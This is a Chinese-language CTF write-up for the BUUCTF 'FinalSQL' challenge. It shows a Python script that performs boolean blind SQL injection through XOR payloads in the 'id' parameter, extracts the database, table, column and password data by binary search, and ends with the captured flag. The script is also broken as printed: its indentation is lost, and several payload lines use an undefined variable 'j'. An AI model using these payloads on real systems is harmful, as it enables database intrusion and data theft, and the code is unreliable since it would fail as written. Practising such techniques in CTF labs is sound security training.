[极客大挑战 2019]FinalSQL
[极客大挑战 2019]FinalSQL
提示很明显,需要SQL盲注
这道题的注入点不是登录框,而是上面的数字按钮
在登录框测试能否注入的时候,返回值没有显示错误
双引号正常
单引号警告
但是在id的位置输入^的时候可以触发Error
所以注入点应该在id
把之前发的脚本拿出来改改可以用
主要是修改一下注入语句的部分,其他没有改
import requests
url = "http://e4247cff-5d64-4353-b875-e07e478c50bf.node3.buuoj.cn/search.php"
flag = ''
for i in range(1,100):
low = 32
high = 127
while low < high:
mid = (low+high)//2
# 中间的语句为真,网页不报错,中间的语句为假,网页报错,根据这个判断
# 查数据库
database = "?id=1^(ord(substr((select(database())),%d,1))>%d)^1" % (i, mid)
# 查表
tables = "?id=1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j)
columns = "?id=1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)
data = "?id=1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)
# 根据需要查询的内容改变get中的参数
r = requests.get(url=url+database)
# print(url+database)
# print(payload1)
# print(r.raw)
if 'Click' in r.text:
low = mid + 1
else:
high = mid
# print(low,mid,high)
flag += chr(low)
print(flag)
首先查数据库
查表
查F1naI1y的列
查具体数据的时候特别慢,数据特别长
发现flag还没有显示全,将i的范围扩大到230,耐心等待。。
拿到flag
flag{06245876-8e6c-41fa-9c12-903467d5b693}